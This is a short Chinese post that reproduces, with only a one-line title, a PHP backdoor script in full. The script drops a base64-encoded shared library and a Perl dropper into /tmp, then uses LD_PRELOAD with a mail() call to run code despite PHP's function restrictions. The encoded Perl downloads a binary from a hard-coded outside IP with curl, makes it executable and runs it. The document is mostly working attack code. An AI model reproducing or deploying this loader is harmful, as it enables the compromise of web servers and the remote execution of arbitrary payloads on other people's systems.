记录一个php后门骚操作源码

<?php

$bin = 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$pl = "IyEvdXNyL2Jpbi9wZXJsCgokZmlsZW5hbWUgPSAnL3RtcC8ubG9jayc7CnVubGVzcyAoLWUgJGZpbGVuYW1lKSB7CiAgICAgICAgc3lzdGVtKCJlY2hvIDEgPiAvdG1wLy5sb2NrO2N1cmwgaHR0cDovLzE5MC4yLjE0Ny4xMS9zdGF0aWMvaXB1c2QgLW8gL3RtcC9pYno7Y2htb2QgNzU1IC90bXAvaWJ6O3BlcmwgL3RtcC9pYnoiKTsKfQo=";
$fh = fopen('/tmp/r.so', 'wb');
fwrite($fh, base64_decode($bin));
fclose($fh);

$fp = fopen('/tmp/ibus.pl', 'wb');
fwrite($fp, base64_decode($pl));
fclose($fp);
putenv("LD_PRELOAD=/tmp/r.so");
mail("a@localhost", "","", "","");